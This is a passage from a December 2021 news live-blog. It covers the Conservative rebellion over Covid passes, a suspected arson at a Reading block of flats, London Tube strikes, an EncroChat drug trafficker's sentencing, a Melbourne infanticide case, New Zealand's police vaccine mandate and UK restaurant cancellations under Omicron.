which replaced the now-defunct Public Health England, warned Omicron posed the 'biggest threat' yet and that the NHS was 'in peril'. SAGE modeller Professor Graham Medley said he feared the super-strain could trigger a 'very large' wave of hospitalisations because it is so transmissible, while jabs adviser Professor Adam Finn called for action to halt the 'alarming' spread of the virus. Meanwhile, Communities Secretary Michael Gove is set to chair a Cobra meeting on the Covid situation with Nicola Sturgeon and Welsh First Minister Mark Drakeford. Ms Sturgeon has been complaining that the Treasury is not providing enough money for her to ramp up restrictions again north of the border. Ringleaders ordered Boris Johnson (pictured at PMQs) to 'change' amid open warnings that he could face a leadership challenge after the extraordinary protest by 100 MPs over the introduction of Covid passes Transport Secretary Grant Shapps (right) confirmed this morning that the premier has bowed to demands from rebels including Mark Harper (left) that Parliament must be recalled for a vote before any further restrictions are brought in Mr Harper sent a message to Mr Johnson after the mass revolt that saw 101 of his own MPs - nearly half of the backbench - vote against Covid passes The mutiny suffered by Mr Johnson in the Commons last night (pictured) was close to the record insurrection that hammered Theresa May's Brexit deal in 2019 and greater than the biggest rebellions faced by David Cameron, Sir John Major and Margaret Thatcher Tory MPs tried to put on a show of unity in the Commons today. But twisting the knife, Sir Keir said: 'Can I take this opportunity to make clear to the Prime Minister that if further votes are needed to save lives and protect the NHS, Labour MPs will follow my leadership and we will always put the NHS first. 'Can I ask the Prime Minister to get his house in order so he can say the same about the members behind him?' Mr Johnson replied: 'Yes. If further measures are needed, as the House will understand, if further regulation is needed of course this House will have a further say. 'As for following his leadership, they wibble-wobbled over Plan B, they wibble-wobbled over quarantine, and if we listened to him, we wouldn't have even had the vaccine rollout.' Sir Keir goaded Mr Johnson that 'his MPs don't believe him and nor do the British public'. 'He's taking the public for fools and it's becoming dangerous because from today anyone who tests positive for coronavirus faces a second Christmas in isolation. It'll be heart-breaking for families across the country,' he said. 'The message from the Government has to be: 'We know that following the rules won't be easy this Christmas but it is necessary.' 'Can the Prime Minister not see that he has no hope of regaining the moral authority to deliver that difficult message if he cannot be straight with the British public about the rule-breaking in Downing Street last Christmas?' Tories tried to yell Sir Keir down as he They're shouting now. Where were they in the lobbies last night?' Mr Johnson said the public wants the government to 'focus on the matter in hand' and roll out boosters. The mutiny suffered by Mr Johnson was close to the record insurrection that hammered Theresa May's Brexit deal in 2019 and greater than the biggest rebellions faced by David Cameron, Sir John Major and Margaret Thatcher. Thirteen MPs who have attended Cabinet under four premiers defied Mr Johnson, including Dame Andrea Leadsom, David Davis, Liam Fox and Chris Grayling. Some 26 Tories first elected in his 2019 landslide victory revolted. Louie French, the newest Tory MP who was elected in a by-election less than two weeks ago, also went against the government whip. The numbers were more than enough to wipe out the government's huge 80-strong majority had Keir Starmer not ridden to the rescue. The vote came less than two hours after the PM made a last-ditch attempt to quell the rebellion by telling a meeting of the 1922 Committee of backbenchers that he had 'no choice' but to impose new curbs. The grim week for Mr Johnson looks set to get worse, with the Tory struggling to cling on to the previously rock-solid seat of North Shropshire in a by-election tomorrow, triggered by the resignation of Owen Paterson in the sleaze furore. Former chief whip Mark Harper, a leading Covid rebel, said the government cannot respond to variants by 'immediately going into emergency mode' and complained that the PM 'scared' people by going on TV on Sunday night. 'It may be the government has to come before parliament with some further measures. My argument has been we shouldn't be rising on Thursday for Christmas, and if ministers want to bring further measures before parliament there's an opportunity for the government to demonstrate it has listened to concerns,' he told BBC Radio 4's Today programme. Mr Harper said Mr Johnson must 'act differently'. 'Instead of the PM making a late night address on Sunday and scaring many people witless a better thing to do would have been to come to the House of Commons on Monday to set out in detail the advice that he has received, the things that he thinks needs to happen as a result and allow MPs to ask questions,' he said. 'What I am calling for is for him to change how he operates so that parliament is properly involved.' Mr Shapps admitted that Parliament would need to be recalled, although he said he had 'some confidence' more curbs will not be needed. 'We have got in place now the measures that we believe will see us through to the new year,' Mr Shapps told BBC Breakfast. There were long queues at another vaccination centre on Solihull High Street in the West Midlands today 'If we did need to do anything else, Parliament would be recalled too in order to vote on doing that, so it won't just be an automated thing. 'We want people to be able enjoy Christmas this year. We are definitely in a better position than we were last year.' Sir Geoffrey Clifton-Brown, treasurer of the 1922 Committee, said last night that a leadership challenge has 'got to be on the cards' for Mr Johnson in the new year if he does not change the way he worked with his MPs. While former Tory chief whip and leading rebel Mark Harper said: 'You either listen and you respond and you do things differently or you ignore what you have been told and you plough on regardless and then this will happen over and over again.' Sir Charles Walker, the vice-chairman of the committee, said the rebellion was a 'cry of pain' by the party. He told BBC News: 'This was just a bridge too far. I think they were putting a marker down. It was a cry of pain from the Conservative Party. He (Boris Johnson) is in a very, very, very difficult position. There has been a strong view in within the Conservative Party that vaccine passports do not work and is not something many colleagues wanted to see introduced. 'This is a very, very specific line being drawn in the sand now and I think the Prime Minister and his team need to listen.' The message from MPs comes as many are still angry over the revelations of alleged parties and gatherings held in Downing Street and elsewhere during lockdown restrictions, as well as longer held resentment about the Government's handling of the standards row involving former MP Owen Paterson which led to Thursday's by-election. Advertisement Three people are feared to be dead and 'up to five are missing' after a suspected arson attack on a block of flats today. Rescue teams were called to Rowe Court, off Grovelands Road, in Reading, Berkshire, after the blaze erupted just before 3am this morning, with neighbours hearing an explosion before the flames tore through the block of flats. Today, Superintendent Steve Raffield said it was 'highly unlikely' that any further survivors would be found inside the building. It comes as a 31-year-old man was arrested on suspicion of arson and murder by officers and remains in custody. Mr Raffield said: 'We have been working alongside our partner agencies to do everything we can to find signs of life. Sadly it is highly unlikely we will find any further survivors in the building.' Following the blaze, one resident described how he made a desperate leap from his third-floor flat after becoming trapped in the terrifying fire and said 'I thought it was better to break my leg than die'. He said: 'I was involved in the incident - I live in the flat on the third floor of the building. I was woken up by an alarm and heard a loud explosion. I heard the people inside screaming and shouting - I think they were my neighbours. 'I opened the door of my flat and saw a big cloud of smoke - and saw that the exit was trapped. 'A firefighter then came in and told me the building was on fire and to leave it now, so I jumped out of the window and so did he - it's about 12ft. 'I landed OK but hurt my leg. I think the firefighter is in hospital, but I thought it was better to break my leg than die. I think it's a miracle how it all happened.' And Tom Price, 40, who lives in a nearby building, said: 'All I heard was a massive explosion and saw smoke billowing from the flats. 'People were leaping from their windows - I know one lady jumped from a high floor. There were screams and shouts and glass was being smashed. The flames went on for hours but the police and fire engines were here so quick.' In an update today Thames Valley Police said: 'Our officers remain at the scene of the fire in Reading, where they have been throughout today, along with colleagues from the fire and ambulance services. The teams have been working tirelessly since the early hours of this morning. Forensic investigators are now examining this block of flats in Reading after it was gutted by a fire in the early hours of the morning One man described his 'miracle' escape jumping from the third floor of Rowe Court in Grovelands Road, Reading, Berkshire, while other witnesses described a woman falling or jumping from the building Today, Superintendent Steve Raffield said it was 'highly unlikely' that any further survivors would be found among the wreckage (pictured) 'Following an extensive search, during which all rescue opportunities were exhausted, we can sadly confirm that we do not expect there to be any more survivors. As confirmed earlier, we know that one person has tragically died. Two people have since been confirmed missing. 'Emergency services will remain on the scene overnight. Tomorrow, work will start to assess the structural damage to the building. 'This will be a complex operation which we expect to take some time. We will work to recover any of those people who were inside the building.' Four victims were treated in hospital while seven others were treated by paramedics at the scene. It is not clear how many people were inside the block at the time of the blaze but an estate agent told MailOnline it contains up to 16 apartments. Michael, 50, who lives opposite the building and did not wish to give his full name, told the PA news agency that the fire broke out in the side of the building. 'I have a great view of the building and was woken at around 3am to all the commotion,' he said. 'I saw it pretty early on, the flames were coming from the side of the building and engulfed all the other flats and the roof. 'People were shouting and screaming - it was chaotic.' Another man who lives near the scene, who did not want to be named, told the PA news agency: 'I've never seen so many police and fire engines in my life. 'The building has been really badly damaged, parts of the roof have been torn off, windows are smashed and smoke has been coming out of it for hours.' Emergency services remained at the scene today, with police, ambulance crews and firefighters working at the badly damaged building. The force said the incident is not being treated as terror-related and urged people to avoid the area, where road closures are in place. Thames Valley Police said one person died in the blaze at a property in Grovelands Road, Reading. A 31-year-old man suspect remains in custody Specialist fire investigators are now at the scene. The Royal Berkshire Fire and Rescue Service first tweeted about the incident at 3.51am Rowe Court has now been deemed unstable due to the extensive damage, with residents being moved to temporary accommodation. In a statement early this afternoon, Thames Valley Police said: 'Police, fire and ambulance services remain at the scene of a large fire in Reading. 'Officers were called at 2.56am today following a number of reports about the incident at a property in Rowe Court off Grovelands Road. 'Sadly, one person has died as a result of this incident. A number of other people remain unaccounted for. A 31-year-old man from Reading has been arrested on suspicion of arson and murder, and is in custody. 'We are working with our colleagues on a search and rescue operation and will exhaust all our efforts to find signs of life. We expect this phase of the operation to continue today and into the evening and perhaps beyond. 'Three people have been taken to hospital so far, and these all have non-life-threatening injuries. An additional eight people were treated by the ambulance service at the scene. 'A number of other people have been evacuated from the scene and are being cared for by the local authority and partners.' Doug Buchanan from the Royal Berkshire Fire and Rescue Service said firefighters had rescued one resident with a ladder, while another was talked to safety by a call handler. The blaze early this morning. Neighbours living a short distance from the block of flats told of hearing shouting screaming soon after 3am One resident said: 'We could hear people shouting. There was a lady stuck in there waving a white hanky out the window. She was rescued by firefighters' He said: 'Our firefighters were able to rescue one of the residents from the building using a ladder, and our emergency call handlers gave fire survival advice to a resident that led them to safety, getting out of the property.' The source of ignition of the fire is not yet clear. In a statement from Reading Borough Council, council leader Jason Brock said: 'I'm sure I speak on behalf of everybody in the Reading community when I say our thoughts and prayers are with anybody who is affected by the horrific fire off Grovelands Road this morning. 'I know that there are also many in our community that want to offer their support too, and we will also communicate how this may be done appropriately as things develop.' If you have any concerns about loved ones, you can report them here: Public Portal (mipp.police.uk) or by calling 0800 051 6079 or 020 7126 7641 from outside the UK. London Underground services face severe disruption this weekend as drivers stage a third round of strikes on the last weekend before Christmas. Transport for London (TfL) said a strike by Rail, Maritime and Transport (RMT) union members is expected on the Central and Victoria lines on Friday 'despite months of talks' over changes to rosters. TfL also said five lines, as well as Night Tube services on the Central and Victoria lines, will be affected on Saturday and into Sunday morning. The Night Tube, introduced in 2016, was suspended last year because of the pandemic and resumed weeks ago but has been disrupted by industrial action. The union claims TfL has 'ripped up' an agreement on drivers being allowed to choose whether to work on night services. It says new rosters were imposed without agreement, while London Underground insists drivers will only be rostered up to four night shift weekends a year. Transport for London (TfL) said a strike by Rail, Maritime and Transport (RMT) union members is expected on the Central and Victoria lines on Friday 'despite months of talks' over changes to rosters. TfL also said five lines, as well as Night Tube services on the Central and Victoria lines, will be affected on Saturday and into Sunday morning - the last weekend before Christmas Day Travellers have been warned of disruption this weekend as London Underground drivers stage a third round of strikes in a row over rosters TfL on Wednesday advised commuters to 'check before they travel and consider using buses'. Nick Dent, London Underground's director of customer operations, said: 'Our view remains that rostering Tube drivers to work up to four night shift weekends each year, which they can swap with colleagues if they wish, is fair and reasonable. WHICH LINES WILL BE DISRUPTED? Friday, December 17: Services on the Central and Victoria lines will ramp down from 7pm ahead of strikes which start at 8:30pm, potentially causing severe disruption on those lines. Other lines will be running as usual, but will likely be busy, as will other modes of transport, especially in central London. Saturday, December 18: Full-day strikes will run for 24 hours starting at 4:30am on these lines: Central (including Night Tube) Victoria (including Night Tube) Jubilee Northern Piccadilly TfL warns of 'severe disruption during strikes' with 'little or no service in some places'. Sunday morning early services will also likely see disruption. The Bakerloo, Circle, District, Metropolitan and Hammersmith & City lines will be operating as normal but will be busier than usual. Services to and from central London are also likely to be busier than normal, as will bus services and local roads. Advertisement 'We have also guaranteed that there will be no job losses. We urge the RMT to call off this unnecessary strike action, which will reduce the level of service we can run at a time when coronavirus cases are rising. 'It will not serve any purpose other than to disrupt Londoners and visitors to the city as they enjoy the festivities at this special time of year.' It comes after it was revealed earlier this month that a young woman fell from an overcrowded platform onto live underground tracks as commuters faced tube drivers' strikes. TfL promised a full inquiry 'with all the relevant authorities' after the passenger fell onto live tracks at Tottenham Court Road underground station. The passenger was rushed to one of the capital's major trauma centres. Today, London's roads stayed the quietest they have been in term-time for five months during the morning rush hour as Britons continued to work from home amid fears over the Omicron variant. The congestion level reported by TomTom in the capital between 7am and 8am today was 41 per cent the lowest for that period on a Wednesday since before the summer holidays, when half-term is excluded. The figures represent the proportion of additional time required for journeys compared with free-flowing conditions. A 41 per cent level therefore means a 30-minute trip will take 12 minutes more than with no traffic. In comparison, congestion for the same period in London on a Wednesday has been between 49 and 54 per cent for the last six weeks in a row and the low traffic levels were also replicated in other cities in England today. Around one million passengers entered or exited the Tube network up to 10am on Tuesday, which was down 26 per cent on the same period on the previous Tuesday and less than half (45 per cent) of pre-pandemic levels. Transport bosses said the biggest reductions came from stations in the City of London where there were around 318,400 entry and exits yesterday compared to around 415,300 last week. A cocaine trafficker has been jailed for 16 years after police caught him moaning about his drugs empire being curtailed - by UK lockdown rules. Nico Logan, 28, sent messages on the encrypted communications network Encrochat whining he could not strike face-to-face deals with smugglers in Spain as all non-essential flights out of the UK had been banned due to Covid restrictions. He also said he had debts of 26,000 as a result of the rules and he had to recruit a woman working as a 'key worker' to drop off consignments of cocaine, heroin and Ecstasy because of him 'working from home.' In one message to an associate, Logan, from Wythenshawe, Manchester who was using the codename 'Fruity Kecks' grumbled: 'I really need this pandemic to be over so I can go to Spain to arrange meetings myself. At least I have a bird who is a key worker and she will drop stuff off for 150 or 200.' Detectives found the messages after accessing the network and arrested Logan and an accomplice during a major police operation. Nico Logan, left, was jailed for 16 years after admitting conspiracy to possess a gun and supplying Class A and Class B drugs. His associate, Jordan Gabriel, 29, of Wythenshawe, Greater Manchester, right, was jailed for 13-and-a-half years after admitting similar offences Police uncovered this photograph of Logan's stash of cash in a car which was used to facilitate his illicit business. It was on his EncroChat encrypted handset It emerged he had acted as a 'broker' or 'wholesaler' for drug gangs based in Spain and would distribute the narcotics through a network of street dealers. He also placed an orders for a 9mm handgun and ammunition to 'bolster his credibility' and had a price list for automatic weapons. At Manchester Crown Court, Logan admitted conspiracy to possess a prohibited firearm and being concerned in the supply of Class A and Class B drugs. Jordan Gabriel, 29, also of Wythenshawe, was jailed for 13 and a half years after he admitted similar offences. The investigation began after the network the two men used was infiltrated in 2020 shortly after lockdown began in March last year. The court heard the gang also acquired a 9mm pistol and ammunition to 'bolster their credibilty'. Before his arrest, Logan had arranged 3.18kg of cocaine, 2kg of heroin, 5,000 Ecstasy tablets and 6kg of cannabis to be smuggled into the UK. The gang used the encrypted encro phone system believing their communication network was safe from interception. Police discovered this cocaine during raids on properties associated with the drugs gang. Police recovered this photograph from Logan's encrypted handset Police recovered his image of a bullet on Logan's phone during a raid on his home Logan also also had a price list for an AK47 and Uzi sub machine gun and there was contact with a Encrochat about obtaining a Glock pistol and 13 bullets for 9,000 and test firing a Smith and Wesson revolver. There was a further conversation about 'sprayers' and two of them said they could 'kill a family in seconds' and 'controlling the stakes of running a drug line on estates.' Following analysis of the messages police executed five warrants across Warrington and Manchester. Logan and Gabriel were arrested and jewellery worth over 20,000 was seized. In 2009 Logan was locked up for five years for a gems robbery and in 2015 was given a further six years and nine months for conspiracy to burgle after leading a gang which targeted shops and garages across Cumbria, County Durham and North Wales during a 100,000 theft spree. Judge Ian Dove told both men: 'Controlled drugs are a cancer in our society. They destroy the lives of people who become enslaved to their addiction. They recruit young people into criminality and they impact the wider community through crime and anti-social behaviour. We all live our day to day lives with these truths and they are all evident around us. The misery caused by people like you feed that cancer at the heart of our society.' Detective Constable Andrew Moore of Greater Manchester Police said: ''Logan and Gabriel thought they were above the law and could keep police from discovering their illicit activities by using encrypted messages to communicate. 'Since the breakthrough of the Encrochat system police have been able to disrupt numerous Organised Crime Groups and stop criminal activity from harming our communities. 'This sentencing is another positive step towards preventing organised crime and I hope it reassures our communities that we are committed to adapting and using innovative techniques to tackle this type of crime and the advances in criminal technology.' Fresh details have emerged about the spiralling life of a young mother who went from being a top vet to killing her daughter in a tragic case of infanticide. Melissa Arbuckle, 32, laid her three-month-old baby on train tracks at Melbourne's Upwey station in July while in the grips of severe major postpartum depression and psychosis. But the tragedy - that claimed the little girl's life and left Arbuckle seriously injured - could have been prevented if the young mother had of been diagnosed one day earlier. Just five years ago, Arbuckle was a respected veterinarian and avid traveller who always dreamt of having children with her husband, Jed. In a blog post penned in 2016, Arbuckle revealed she had undergone treatment after suffering from a condition affecting her uterus. She wrote about how the incident had inspired her to begin taking her health seriously with the intention of one day having a family. Melissa Arbuckle, 32, (pictured) has pleaded guilty to killing her three-month-old daughter in July 'This trip to hospital was the beginning of my journey to start focusing on my health. Im not getting any younger and I look forward to having a family of my own one day so I decided its time to take my health seriously,' she wrote. The couple's life appeared to be filled with adventure, with Arbuckle sharing photos and stories about their travels across Australia and Japan. She also previously blogged about her passion for animals and her time volunteering to teach young children about pet safety and responsible pet ownership. The University of Melbourne graduate expressed that she was a believer in keeping a healthy mind and body and listed family as one of the most important things in her life. 'Ive never considered myself to be unhappy and Im incredibly fortunate to be able to say that, but there are certainly ways to strive to live a happier life,' Ms Arbuckle wrote. But her once-thriving life tragically started to decline as she battled post-partum depression after the birth of her child. Arbuckle kept a personal blog, where she journaled about her dreams of one day starting a family with her husband Jed (pictured together) Arbuckle worked at a veterinary clinic in inner eastern Melbourne for several years Moments before the tragedy, Arbuckle sent a message to her husband to let him know where they were out for a walk. 'Muffin was losing it after feed so I've gone for a walk with her,' she wrote. Mum and baby then continued their walk where they waved at trains and texted the woman's mother and sister. Then Arbuckle began researching train speeds and timetables, an agreed summary released by Melbourne Magistrates' Court said, according to The Herald Sun. Around 5pm a train noticed Arbuckle acting 'suspicious' near the train lines between Upwey Railway Station and Tecoma Station and activated the emergency brakes. The mother acted quickly and laid the baby on the tracks in front of the train and attempted to lie down herself before the train hit them both. The baby was struck and thrown under the carriage while Arbuckle was left with serious injuries. Witnesses rushed to help the pair and helped to pull out the still breathing baby. Emergency services arrived shortly after and found Arbuckle repeatedly hitting herself in the head with a stone. Arbuckle sent her husband a message moments before the tragedy telling him she was out walking with their daughter A train noticed Arbuckle acting 'suspicious' and activated the emergency brakes. The mother laid the baby on the tracks in front of the train and attempted to lie down herself before the train hit them both (stock image) The baby girl died later that night at the Royal Children's Hospital after she was flown from the scene. The day before the incident Arbuckle shared she had been suffering from suicidal thoughts and was diagnosed with severe major postpartum depression and postpartum psychosis the day after. Arbuckle faced Melbourne Magistrates Court on Tuesday where she pleaded guilty to one count of infanticide for the incident in July. Magistrate Donna Bakos granted Arbuckle bail to reappear before the Victorian Supreme Court for a directions hearing on December 21. 'This is an extraordinarily tragic event and it's tragic for many, many people,' Ms Bakos said. For confidential 24-hour support in Australia call Lifeline on 13 11 14 or beyondblue 1300 22 4636. For post-partum depression support call PANDA on 1300 726 306. New Zealand faces losing up to 10 per cent of its police force - around 1,000 officers - when the country's vaccine mandate is enforced next month, cops have warned. All police officers and recruits must have had their first Covid jab by January 17 and their second vaccine by March 1 in order to keep their jobs. New Zealand Police said 94.1 per cent of constabulary staff have had their first jab, while 89.5 per cent are fully vaccinated as of December 7, reports the newspaper New Zealand Herald. This means that of New Zealand's taskforce of 10,200 constabulary officers, around 600 cops risk losing their jobs next month if they do not get the first jab and a further 400 if they do not get the second jab by March. New Zealand is facing losing up to 10 per cent of its police force - around 1,000 officers - when the country's vaccine mandate is enforced next month, cops have warned. This is a file image of a New Zealand police officer, there is no suggestion this police officer has not been jabbed The number of coronavirus cases in New Zealand are dropping, with just 90 cases recorded on 14 December If those 1,000 officers lose their jobs over the vaccine mandate, it would take nearly a year for the police force to fill those positions as there are an average of 80 recruits graduating from the Royal New Zealand Police College every month. 'It's not something that the Government should take lightly,' an unvaccinated police officer, who has not been named, told the newspaper. 'Even losing a couple hundred sworn staff will have a massive impact. There'll be major ramifications. 'Skills come with time, knowledge you can generate yourself but there's no substitute for experience.' The anonymous officer added: 'You have crime on the rise and the people you rely on to deal with that and protect the rest of society, are already reaching a breaking point. Now you want to take away more staff,' the officer said. 'New Zealand won't know the impact of this mandate until it happens, and then it's too late.' Another officer added: 'We're already stretched thin, and it's very concerning. The Government is putting hundreds if not thousands of years of experience at risk of being lost.' But Prime Minister Jacinda Ardern last week said she believed it would not be a 'large number' of officers who lost their jobs due to the vaccine mandate, and insisted there was a enough of a 'buffer' from recent recruitment. But Prime Minister Jacinda Ardern last week said she believed it would not be a 'large number' of officers who lost their jobs due to the vaccine mandate, and insisted there was a enough of a 'buffer' from recent recruitment 'Time will tell how many we lose but I do not expect, as with all of our other workforces like health and education, it to be a large number,' Ardern said. Police Commissioner Andrew Coster said last month in a statement: 'This mandate is an important step for us. While staff have taken all precautions to prevent the spread of Covid-19, vaccination is an essential component of safety. 'In today's environment, the community has an expectation that our staff are protected from the virus and are fully vaccinated. 'Our work does not always allow us to stay at arm's length from the people we deal with and vaccination is the only control that can mitigate the safety risk in those situations.' Police Association President Chris Cahill said that there would be more police officers double vaccinated by January. 'We don't know how many till the health order kicks in and police are able to match their data with health data,' Cahill told the newspaper. 'We certainly don't believe it will be anything like 600 and we would be surprised why it isn't in line with other organisations that are captured under the health mandate or the education mandate and those sort of figures are sort of around the one to one and a half per cent and we think that's where we will likely end up.' It comes as Ardern signalled a potential delay in opening borders due to the emergence of the Omicron variant. She confirmed the rethink in parliament on Tuesday, with the long awaited re-opening - set for January 17 - now subject to a review on either January 7 or 8. The Omicron variant is yet to land in New Zealand, and Ms Ardern's government is keen to keep it out while scientists assess how transmissible and deadly it may be. 'We haven't changed any decisions at this stage around reconnection... but I think people understand we need to review the latest details and evidence around Omicron,' Ardern said. Covid-19 Minister Chris Hipkins stated it was 'very likely' the nation would proceed with its planned re-opening mid-next month, before adding the Omicron strain 'could prove to be a spanner in the works.' As of Tuesday, 89 per cent of New Zealand residents aged 12 or over are fully vaccinated, and 94 per cent have had at least one dose. Coronavirus cases have been dropping significantly in the country, as only 90 people were infected on Tuesday. Business NZ chief executive Kirk Hope accused the government of being 'overly cautious' in flagging a possible delay to re-opening. 'They are using an approach that has suited them well. But it is increasingly frustrating for businesses,' he said. 'The border rethink has created quite a lot of uncertainty for business, which had been looking forward to the door opening on the border even just a bit.' Star chef Tom Kerridge has warned 'restaurants will crumble' under new Covid-19 rules unless the Government steps in - as he revealed 654 cancellations at one of his eateries in six days. The Michelin-starred chef, 48, who runs six restaurants in London, Manchester and Buckinghamshire, including the Hand and Flowers in Marlow, asked 'what will the government do to support the hospitality industry'. He called for 'help' amid growing fears of a potential New Year lockdown following Boris Johnson's public addresses regarding the Omicron variant. Andy Taylor, owner of the Mr Fox pub in Croydon and the Adam and Eve in Northumberland, told MailOnline his restaurants have lost 50,0000-worth of bookings in just one week as customers shield themselves from the virus. Steve Drake, Chef Patron of one-Michelin star holding Sorrel Restaurant in Dorking, told MailOnline another lockdown would be a 'final nail in the coffin' for the beleaguered food industry. And Michelin-star chef Jason Atherton told MailOnline: 'We have dropped 40-50 percent in bookings in the most important part of the a year for hospitality and yet again the Government have given no support to business already buried in debt.' Alongside his post Mr Kerridge shared a video showing printed out pages filled with 176 table cancellations - as Britons appear to head into a makeshift lockdown to spare themselves from catching Covid-19 in the run up to Christmas Day. The Government has already come under pressure to increase the support it is providing to hospitality businesses after some saw festive bookings 'disappear overnight' after the introduction of 'Plan B' restrictions to tackle Omicron. Tom Kerridge (pictured), 48, asked 'what will the government do to support the hospitality industry' as he called for 'help' amid growing fears of a potential New Year lockdown Alongside the post Mr Kerridge shared a video showing printed out pages filled with 176 table cancellations - as Britons put themselves into a lockdown in the run up to Christmas Day One London hotel told MailOnline it was expecting 100,000 worth of losses from cancelled events, rooms and covers - and said many staff were fearing for their jobs given the extent the industry relies on a lucrative Christmas period. Mr Atherton added: 'The industry is trying to keep its head above water with the staffing crisis and now this could be the final nail in the coffin for many talented people in our industry.' Last year the hospitality sector was supported through Government grants, a reduction in business rates and furlough for staff. Councils handed more than 11 billion to 880,000 small businesses in 2020 - but this Christmas bosses have been left with nothing. Chancellor Rishi Sunak is prepared to loosen the money taps again if ministers decide closures are necessary, according to a Treasury source, although they insisted this does not mean further restrictions were now more likely. On Instagram last night, Mr Kerridge penned: 'So, here we are. This is the list of cancellations taken in one of our restaurants in the past six days. 654 guests' BBC Radio 5 Live presenter Nihal Arthanayake revealed he had to cancel a table amid the dramatic spread of the Omicron variant Andy Taylor, owner of the Mr Fox pub (pictured) in Croydon and the Adam and Eve in Northumberland, told MailOnline his restaurants have lost 50,0000-worth of bookings in just one week Searches for 'Christmas Party Cancellations' triple on Google Searches for 'should I cancel my Christmas party?' and 'Covid passes' tripled in the 24 hours between Monday and Tuesday, according to new data from Google Trends. Covid passes have recently become law in the UK as 369 MPs voted for the introduction of Plan B, a set of measures to stem the spread of the Omicron variant, in the Commons on Tuesday. Google also released a list of the top trending questions on boosters, including 'how do I volunteer to help with booster jabs?' which was up 1,100 per cent from Monday to Tuesday, as well as 'how quickly does the booster jab become effective?', which searches for increased by 685 per cent. Searches for 'how many booster jabs yesterday?' and 'how long do I have to wait for a booster jab?' rose by 1,135 per cent and 515 per cent respectively. The breakout trending questions on coronavirus's new variant were led by searches for 'how old was the person who died from Omicron?' and 'was the person who died of Omicron vaccinated?' Google also revealed that 'incubation period for omicron' has been searched more than eight times more over the past seven days than the week before in the UK. The search engine disclosed some of the most popular 'should' questions from the last 24 hours as 'which booster should I get?' and 'when should I get a PCR test?'. They were succeeded by searches for 'how long do I have to wait for a booster jab?' and 'is Moderna better than Pfizer?'. Trending questions on Plan B only one hour after the vote included 'what is plan b?', 'who voted against plan b?' and 'how did my MP vote today?' Advertisement 'If we do get to a position where we are telling businesses that they have to shut their doors then it is not unreasonable for them to expect additional government support,' the source told The Times. 'That could mean a return to the furlough scheme but depending on what, if any, further restrictions are necessary there might be other ways of providing that support.' In a trading update, Wetherspoon boss Tim Martin warned government restrictions could push it into a loss in the first six months of the year. The nation was heading towards 'a lockdown by stealth', he added. On Instagram last night, Mr Kerridge penned: 'So, here we are. This is the list of cancellations taken in one of our restaurants in the past six days. 654 guests. 'I completely understand why and have no problem with them letting us know. Public health is THE most important thing. 'The problem is what will the government do to support the hospitality industry? Many places are going to crumble without help. And before some gammon faced idiot says 'you can afford it fat lad!' .. yes I probably can, but this isn't about me or my restaurants. It's about our industry and peoples livelihoods.' It is not known which of the chef's restaurants the post was about. Mr Drake, who has held a Michelin star at three restaurants, said he was fearful another lockdown would come as a 'final nail in the coffin' in the new year. He told MailOnline: 'With the new restrictions, and the fear that is being engendered by the new strain of Covid, they are both having a huge effect. 'This is not only for the business, but from a staffing situation and the increasing difficulty in obtaining produce due to the lack of drivers. 'We are just hoping that there will not be another lockdown as I fear this will be the final nail in the coffin for many people in the hospitality industry. But I am fearful of what is going to happen in the New Year. 'It is my firm belief that the industry is going to need more support and I would lobby firmly for payment of VAT to be reduced again to 5 per cent. I fear that there will be many closures in the industry as it will be become untenable to continue to operate.' Pictured above is the current pace of the booster programme (green bars) and how it will have to ramp up to hit the million jabs a day target (red bars). NHS bosses warn scaling up the programme will be 'incredibly difficult' According to NHS data, many older age groups who have been eligible to get a Covid booster since September still have double digit percentage figures of people who are yet to get a third dose Mr Kerridge was ridiculed on his Instagram post which showed the free-range turkey breast roast he is now selling on his website for 140 each The TV chef described the turkey on his website as the 'perfect combination of fantastic flavour and convenience' Fish & Chips at Harrods and a butcher's shop in Marlow: Chef Tom Kerridge's UK restaurants Star Chef Tom Kerridge boasts six UK eateries, a catering company and a private dining venue, and prides himself on 'first class service', according to his website. His repertoire includes a fish and chip restaurant in Harrods and a butchers/grill in Marlow. A note on his website reads: 'I love nothing more than seeing people enjoy their food, as a chef it gives me a huge amount of satisfaction to know that I've contributed to guests at all our restaurants having a good time. 'Check out our restaurants and bars, with incredible food, great vibes and first class service.' The Hand And Flowers in Marlow: A two-star Michelin pub, the only of its kind in the UK Kerridge's Fish & Chips at Harrods In Harrod's dining hall a fish and chip restaurant, selling 'ultimate gourmet' wares, bears Tom Kerridge's name. The Bull & Bear in Manchester This restaurant is in the 'unique and elegant' renovated Stock Exchange Hotel. Its head chef Sarah Hayward crafted a small-plates menu so customers can enjoy a number of ingredients and flavours at once. The Butcher's Tap and Grill in Marlow A traditional butcher's shop and grill restaurant 'all under one roof', this establishment allowed customers to enjoy their meat extra fresh. The Coach in Marlow A one-star Michelin pub 'with a buzzy relaxed atmosphere', according to Mr Kerridge's website. The chef has previously called no-shows 'disgraceful and selfish' The Hand And Flowers in Marlow A two-star Michelin pub, the only of its kind in the UK. Kerridge's Bar & Grill in london Mr Kerridge's first London restaurant is situated inside the luxury Corinthia Hotel. Lush by Tom Kerridge Mr Kerridge's catering company was built by The Hand and Flowers. The Shed in Marlow A 'intimate private dining room', available to hire for up to ten people, was also created by the team at The Hand and Flowers. Advertisement Mr Taylor, owner of the Mr Fox pub in Croydon, said it had 300 diners booked in for Friday - but 233 cancelled. He added: 'The Croydon venue has seen 87 percent of parties cancelled due to low confidence. 'Confidence is really low. The impact on trade has been significant. We had 300 people booked in on Friday, we now have 67. 'It's hard for venues to plan if we don't know what's coming. At least allow us to plan so losses can be limited. I'm sure like others what is going to happen on New Year's Eve. People are not confidant. 'The impact is going to be big. Then we're into January, a traditionally quiet month for hospitality. We rely on a good festive season to get us through.' He said his two restaurants have has 1000 cancellations in six days. 'The impact is huge. I can't put an exact figure on it but we've lost around 50,000 as a business in the last six days through cancellations across both sites. This Friday is traditionally the busiest Friday in a year.' First Dates star Fred Sirieux, general manager of Michelin-starred Galvin at Windows in London's Mayfair, said he has seen a 'tsunami of cancellations' which he warned will be 'catastrophic' for the sector. 'Staff will lose their job and income between now and January without any hope of getting a new one,' he tweeted. 'Not only that but I fear this will increase the staff shortage even further.' Elsewhere, chef Sally Abe said the Blue Boar Pub in Westminster suffered 110 cancellations on Tuesday. Republic, an Indian Restaurant in Chiswick, saw 80 cancellations last week alone. Mustaq Tappewale at Republic Chiswick said: 'We are currently seeing 80-100 cancelations per week. This is having a huge impact on our business as whilst income has dropped, business overheads such as rent and staff salaries still need to be paid. We would like to see financial support from the government in the form of grants or cuts in VAT. This month Republic celebrated their 